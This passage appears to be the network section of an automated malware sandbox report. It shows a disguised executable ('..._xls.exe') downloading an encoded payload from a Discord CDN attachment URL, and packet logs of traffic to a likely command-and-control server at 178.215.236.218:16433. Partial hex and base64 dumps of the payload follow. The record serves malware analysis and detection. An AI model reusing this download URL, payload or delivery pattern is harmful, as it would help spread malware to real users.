Sep 26, 2024 13:26:27.389009953 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.389020920 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.389033079 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.389036894 CEST	49731	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:26:27.389065027 CEST	49731	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:26:27.389094114 CEST	49731	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:26:27.389228106 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.389287949 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.389297009 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.389341116 CEST	49731	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:26:27.389374971 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.389386892 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.389399052 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.389414072 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.389416933 CEST	49731	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:26:27.389445066 CEST	49731	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:26:27.389486074 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.389497042 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.389511108 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.389538050 CEST	49731	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:26:27.389558077 CEST	49731	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:26:27.389579058 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.389590979 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.389600992 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.389612913 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.389624119 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.389636993 CEST	49731	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:26:27.389668941 CEST	49731	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:26:27.389801979 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.389812946 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.389822960 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.389863968 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.389868021 CEST	49731	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:26:27.389875889 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.389888048 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.389898062 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.389909029 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.389926910 CEST	49731	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:26:27.389961958 CEST	49731	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:26:27.390129089 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.390142918 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.390149117 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.390167952 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.390168905 CEST	49731	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:26:27.390189886 CEST	49731	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:26:27.390362024 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.390413046 CEST	49731	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:26:27.390423059 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.390434980 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.390445948 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.390470982 CEST	49731	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:26:27.393822908 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.393874884 CEST	49731	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:26:27.393882036 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.394130945 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.394170046 CEST	49731	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:26:27.394267082 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.394279003 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.394289970 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.394301891 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.394313097 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.394321918 CEST	49731	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:26:27.394325018 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.394356012 CEST	49731	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:26:27.394366980 CEST	49731	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:26:27.394373894 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.394386053 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.394397020 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.394407988 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.394419909 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.394424915 CEST	49731	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:26:27.394431114 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.394442081 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.394452095 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.394458055 CEST	49731	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:26:27.394465923 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.394475937 CEST	49731	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:26:27.394495010 CEST	49731	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:26:27.394525051 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.394536018 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.394566059 CEST	49731	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:26:27.394587040 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.394629955 CEST	49731	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:26:27.394771099 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.394783020 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.394793987 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.394812107 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.394819021 CEST	49731	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:26:27.394824028 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.394836903 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.394849062 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.394861937 CEST	49731	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:26:27.394861937 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.394874096 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.394887924 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.394898891 CEST	49731	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:26:27.394918919 CEST	49731	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:26:27.394932032 CEST	49731	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:26:27.586524010 CEST	49737	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:26:27.591433048 CEST	16433	49737	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.591530085 CEST	49737	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:26:27.711240053 CEST	49737	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:26:27.903140068 CEST	16433	49737	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.904405117 CEST	49737	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:26:27.909172058 CEST	16433	49737	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:27.932265997 CEST	49737	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:26:27.937041044 CEST	16433	49737	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:28.041738987 CEST	49737	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:26:28.046591043 CEST	16433	49737	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:28.151091099 CEST	49737	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:26:28.155890942 CEST	16433	49737	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:28.260478020 CEST	49737	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:26:28.268225908 CEST	16433	49737	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:28.382752895 CEST	49737	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:26:28.387531042 CEST	16433	49737	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:28.495593071 CEST	49737	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:26:28.500375986 CEST	16433	49737	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:28.605360985 CEST	49737	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:26:28.610202074 CEST	16433	49737	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:28.730650902 CEST	49737	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:26:28.735466957 CEST	16433	49737	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:28.753813982 CEST	49737	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:26:28.754045963 CEST	49737	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:26:28.758636951 CEST	16433	49737	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:28.758740902 CEST	16433	49737	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:28.758750916 CEST	16433	49737	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:28.758761883 CEST	16433	49737	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:28.758773088 CEST	16433	49737	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:28.758783102 CEST	16433	49737	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:28.758882999 CEST	16433	49737	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:28.759221077 CEST	16433	49737	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:28.759279013 CEST	49737	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:26:36.417373896 CEST	49731	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:26:36.729162931 CEST	49731	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:26:36.739430904 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:36.739866972 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:36.919200897 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:36.921164989 CEST	49731	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:26:36.926048994 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:42.669326067 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:42.713447094 CEST	49731	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:26:47.026261091 CEST	49731	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:26:47.031102896 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:47.301600933 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:47.304152012 CEST	49731	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:26:47.309065104 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:57.636315107 CEST	49731	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:26:57.641375065 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:57.820235968 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:26:57.825196028 CEST	49731	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:26:57.830471992 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:27:08.245243073 CEST	49731	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:27:08.250122070 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:27:08.430346012 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:27:08.437664986 CEST	49731	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:27:08.442496061 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:27:12.607434034 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:27:12.651014090 CEST	49731	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:27:18.972790956 CEST	49731	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:27:18.978454113 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:27:19.155829906 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:27:19.157555103 CEST	49731	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:27:19.162441969 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:27:22.901410103 CEST	49731	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:27:22.906230927 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:27:23.086277962 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:27:23.088880062 CEST	49731	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:27:23.093709946 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:27:23.135647058 CEST	49731	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:27:23.140558004 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:27:23.398379087 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:27:23.400281906 CEST	49731	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:27:23.405152082 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:27:23.495127916 CEST	49731	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:27:23.685563087 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:27:23.729665995 CEST	49731	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:27:23.734560966 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:27:23.745338917 CEST	49731	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:27:23.750127077 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:27:23.853688955 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:27:23.856832981 CEST	49731	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:27:23.862082005 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:27:23.952814102 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:27:23.955307961 CEST	49731	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:27:23.960165024 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:27:24.050877094 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:27:24.053252935 CEST	49731	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:27:24.058089018 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:27:34.354515076 CEST	49731	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:27:34.360294104 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:27:34.538830996 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:27:34.540801048 CEST	49731	16433	192.168.2.4	178.215.236.218
Sep 26, 2024 13:27:34.545741081 CEST	16433	49731	178.215.236.218	192.168.2.4
Sep 26, 2024 13:27:38.613293886 CEST	49731	16433	192.168.2.4	178.215.236.218

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 26, 2024 13:26:09.438549995 CEST	55909	53	192.168.2.4	1.1.1.1
Sep 26, 2024 13:26:09.446840048 CEST	53	55909	1.1.1.1	192.168.2.4
Sep 26, 2024 13:26:28.676868916 CEST	53	54462	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 26, 2024 13:26:09.438549995 CEST	192.168.2.4	1.1.1.1	0x6c50	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Sep 26, 2024 13:26:09.446840048 CEST	1.1.1.1	192.168.2.4	0x6c50	No error (0)	cdn.discordapp.com	162.159.135.233	A (IP address)	IN (0x0001)	false
Sep 26, 2024 13:26:09.446840048 CEST	1.1.1.1	192.168.2.4	0x6c50	No error (0)	cdn.discordapp.com	162.159.133.233	A (IP address)	IN (0x0001)	false
Sep 26, 2024 13:26:09.446840048 CEST	1.1.1.1	192.168.2.4	0x6c50	No error (0)	cdn.discordapp.com	162.159.129.233	A (IP address)	IN (0x0001)	false
Sep 26, 2024 13:26:09.446840048 CEST	1.1.1.1	192.168.2.4	0x6c50	No error (0)	cdn.discordapp.com	162.159.130.233	A (IP address)	IN (0x0001)	false
Sep 26, 2024 13:26:09.446840048 CEST	1.1.1.1	192.168.2.4	0x6c50	No error (0)	cdn.discordapp.com	162.159.134.233	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

cdn.discordapp.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	162.159.135.233	443	6696	C:\Users\user\Desktop\rDoc5633276235623657_xls.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 11:26:10 UTC	228	OUT	GET /attachments/1288648799220400244/1288791621017669705/xxxxxxxxxxx.txt?ex=66f6783b&is=66f526bb&hm=22a3bafe0f63ec86e36ba63ace27289331a1b6e8c8a217e16ac633d8848215f6& HTTP/1.1 Host: cdn.discordapp.com Connection: Keep-Alive
2024-09-26 11:26:10 UTC	1197	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 11:26:10 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 47116 Connection: close CF-Ray: 8c92e5c28dae0fa1-EWR CF-Cache-Status: HIT Accept-Ranges: bytes, bytes Age: 2758 Cache-Control: public, max-age=31536000 Content-Disposition: attachment; filename="xxxxxxxxxxx.txt" ETag: "efe5395a9aab18d954883ce839ad5aa2" Expires: Fri, 26 Sep 2025 11:26:10 GMT Last-Modified: Thu, 26 Sep 2024 09:17:47 GMT Vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 x-goog-generation: 1727342267109578 x-goog-hash: crc32c=zkZLIw== x-goog-hash: md5=7+U5WpqrGNlUiDzoOa1aog== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 47116 x-guploader-uploadid: AD-8ljsJuSPaJS19TY8U94YlW26Vn9Tw2YGcALyNFmaVDqbE-U1f7iC8vX2BO_tvwTD13x3QmBjSabu91w X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Set-Cookie: __cf_bm=fehOqRd3LEuUbVYvSUFJypfK8MSFC6GXFPc8ORfDhg0-1727349970-1.0.1.1-lk4rK4NOqKzgNzhCO4hntpGyyaKv_TqrawBYLXhcDxMWhS0LxZQqIcENInSzxMHLLatdV4hk_icsBUrgJDpQpA; path=/; expires=Thu, 26-Sep-24 11:56:10 GMT; domain=.discordapp.com; HttpOnly; Secure
2024-09-26 11:26:10 UTC	529	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 33 31 45 6d 4e 69 59 51 49 66 38 74 25 32 46 4c 61 38 34 34 74 4d 25 32 46 51 7a 77 43 61 6d 4f 6c 63 57 61 77 53 6a 52 64 25 32 42 52 72 73 65 5a 38 61 25 32 46 4c 44 41 59 68 73 39 6a 57 57 65 36 30 36 4f 44 44 57 48 34 46 35 25 32 42 37 4e 25 32 42 6e 75 51 34 51 62 4b 7a 30 50 30 57 59 53 5a 7a 46 72 65 42 50 66 37 25 32 42 64 30 25 32 46 73 5a 63 38 51 64 5a 65 6a 25 32 42 56 36 78 6b 4f 53 41 45 37 25 32 46 41 69 37 34 59 4b 4d 65 65 71 65 31 63 37 41 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=31EmNiYQIf8t%2FLa844tM%2FQzwCamOlcWawSjRd%2BRrseZ8a%2FLDAYhs9jWWe606ODDWH4F5%2B7N%2BnuQ4QbKz0P0WYSZzFreBPf7%2Bd0%2FsZc8QdZej%2BV6xkOSAE7%2FAi74YKMeeqe1c7A%3D%3D"}],"group":"cf-n
2024-09-26 11:26:10 UTC	1369	IN	Data Raw: 66 4b 32 4e 61 51 78 48 56 59 5a 56 54 41 6f 2b 4e 65 4c 79 57 4e 6b 4c 67 47 45 66 74 62 47 65 73 48 52 63 61 77 39 41 46 64 57 72 67 35 48 6f 65 42 48 4b 79 4f 42 62 63 55 54 2b 65 71 7a 64 38 6e 76 6a 31 56 58 54 6b 33 6c 74 39 50 41 51 5a 44 7a 4d 73 65 52 31 44 69 44 65 75 43 47 77 69 69 57 57 53 50 48 41 73 55 54 32 50 79 79 35 77 7a 72 5a 36 46 5a 76 4f 59 6a 67 54 7a 53 30 4b 34 74 32 33 55 67 64 49 62 6e 50 38 6a 73 50 48 49 6c 6a 6c 6b 74 45 72 4e 5a 72 65 79 7a 5a 53 57 74 2f 2b 30 37 31 54 58 58 6f 6a 35 38 43 75 62 32 69 32 30 69 51 66 58 6d 45 2b 6d 2f 63 32 74 38 54 54 7a 35 30 6b 77 30 47 2b 73 41 78 72 51 6d 68 62 57 74 77 31 42 46 50 71 52 48 70 7a 4a 33 33 54 6c 42 43 61 49 63 73 51 6a 56 66 44 72 65 43 73 78 64 47 74 45 78 56 5a 69 74 Data Ascii: fK2NaQxHVYZVTAo+NeLyWNkLgGEftbGesHRcaw9AFdWrg5HoeBHKyOBbcUT+eqzd8nvj1VXTk3lt9PAQZDzMseR1DiDeuCGwiiWWSPHAsUT2Pyy5wzrZ6FZvOYjgTzS0K4t23UgdIbnP8jsPHIljlktErNZreyzZSWt/+071TXXoj58Cub2i20iQfXmE+m/c2t8TTz50kw0G+sAxrQmhbWtw1BFPqRHpzJ33TlBCaIcsQjVfDreCsxdGtExVZit
2024-09-26 11:26:10 UTC	1369	IN	Data Raw: 49 44 74 36 44 34 54 4f 57 4b 33 34 61 43 43 4e 46 42 2f 44 70 4f 6f 62 52 50 5a 72 75 2f 78 75 2b 50 61 37 6f 35 47 39 4a 66 47 4c 70 42 50 74 65 50 62 59 76 47 6b 4e 42 44 50 78 78 59 6c 43 4f 74 7a 2b 76 59 66 55 48 37 2f 58 62 74 4a 4d 78 56 65 52 53 2f 4b 38 6a 58 75 55 33 49 61 30 48 6a 33 53 68 42 39 35 54 64 55 78 36 38 2b 57 46 53 4c 55 4f 44 72 75 32 6f 62 54 43 52 73 7a 6d 76 51 6f 32 74 50 63 51 38 37 33 4c 4e 77 75 65 75 6d 38 34 4e 63 45 64 68 6e 61 55 57 47 30 43 63 62 7a 73 30 72 2f 32 69 48 73 45 5a 49 6d 4b 4a 79 34 71 38 42 71 54 44 75 45 6b 2f 53 43 61 55 6f 49 73 44 6c 45 32 34 65 43 67 2b 36 73 34 5a 33 57 53 61 7a 4d 39 61 58 41 42 71 39 77 58 44 43 6b 6c 47 6e 54 5a 4f 31 2f 6c 6d 34 71 58 45 4c 43 56 45 67 2f 30 72 67 6f 30 49 41 Data Ascii: IDt6D4TOWK34aCCNFB/DpOobRPZru/xu+Pa7o5G9JfGLpBPtePbYvGkNBDPxxYlCOtz+vYfUH7/XbtJMxVeRS/K8jXuU3Ia0Hj3ShB95TdUx68+WFSLUODru2obTCRszmvQo2tPcQ873LNwueum84NcEdhnaUWG0Ccbzs0r/2iHsEZImKJy4q8BqTDuEk/SCaUoIsDlE24eCg+6s4Z3WSazM9aXABq9wXDCklGnTZO1/lm4qXELCVEg/0rgo0IA
2024-09-26 11:26:10 UTC	1369	IN	Data Raw: 38 31 49 35 74 6f 65 62 49 76 36 4e 65 2b 79 66 6e 75 65 6b 48 31 4f 2f 6e 75 6c 4e 44 49 41 30 36 30 47 6a 6a 75 32 76 50 73 6d 66 55 4f 4c 43 35 43 37 71 75 2f 42 5a 5a 5a 2b 69 68 69 79 31 67 33 64 79 56 71 76 67 75 43 55 6d 4f 36 43 6b 51 66 67 33 55 6e 69 71 39 69 34 64 48 76 51 43 74 64 6f 49 43 69 72 78 66 36 34 46 57 76 32 36 64 56 2b 6e 70 69 4f 4b 64 7a 51 33 6d 33 58 7a 31 56 49 69 51 57 4c 47 6a 46 45 63 73 77 34 45 78 39 4f 43 6f 4a 53 67 45 71 47 73 7a 37 33 55 69 2b 77 43 35 61 52 50 78 64 6a 37 61 69 67 36 47 2f 50 64 2f 77 36 4e 34 35 33 33 62 6b 6d 64 5a 34 43 43 58 5a 31 4b 49 31 75 4c 32 50 7a 72 4d 44 45 6a 6b 5a 70 43 6b 37 32 4d 54 6d 30 4e 51 47 68 2f 4f 42 71 63 53 59 55 76 31 54 64 78 34 33 36 47 6c 6e 53 78 5a 78 72 4f 59 5a 34 Data Ascii: 81I5toebIv6Ne+yfnuekH1O/nulNDIA060Gjju2vPsmfUOLC5C7qu/BZZZ+ihiy1g3dyVqvguCUmO6CkQfg3Uniq9i4dHvQCtdoICirxf64FWv26dV+npiOKdzQ3m3Xz1VIiQWLGjFEcsw4Ex9OCoJSgEqGsz73Ui+wC5aRPxdj7aig6G/Pd/w6N4533bkmdZ4CCXZ1KI1uL2PzrMDEjkZpCk72MTm0NQGh/OBqcSYUv1Tdx436GlnSxZxrOYZ4
2024-09-26 11:26:10 UTC	1369	IN	Data Raw: 79 41 34 69 55 2f 53 65 62 35 50 47 52 6a 5a 66 54 33 36 79 58 33 2f 77 30 66 33 4e 76 79 46 49 72 4e 73 48 38 47 57 65 45 34 6a 30 71 63 76 61 70 4d 4c 42 55 37 6b 73 53 2b 46 6c 32 34 78 45 53 6f 51 6f 61 69 48 4c 69 76 36 58 37 72 79 42 62 49 55 42 55 48 6e 2f 64 32 4f 66 6d 67 4e 48 6d 69 55 69 6b 53 5a 45 30 2f 71 41 56 61 6a 72 72 56 62 50 4f 6d 6b 6e 55 78 65 6c 33 68 71 6d 59 70 65 30 33 66 6c 4d 67 4d 74 53 66 7a 2f 59 68 4a 37 53 45 79 74 53 73 76 4f 69 48 70 53 58 55 31 43 56 54 44 53 6b 32 42 2b 68 68 76 41 35 56 6b 50 45 52 67 38 64 51 2b 4c 67 37 64 55 53 49 6b 51 53 69 33 41 6f 6d 78 4c 79 4f 62 36 2b 54 64 76 55 54 52 45 4c 7a 62 50 45 2b 70 46 35 35 70 71 56 44 6a 67 68 5a 79 70 30 50 72 6e 72 50 35 70 71 78 38 5a 77 32 42 65 50 34 45 78 Data Ascii: 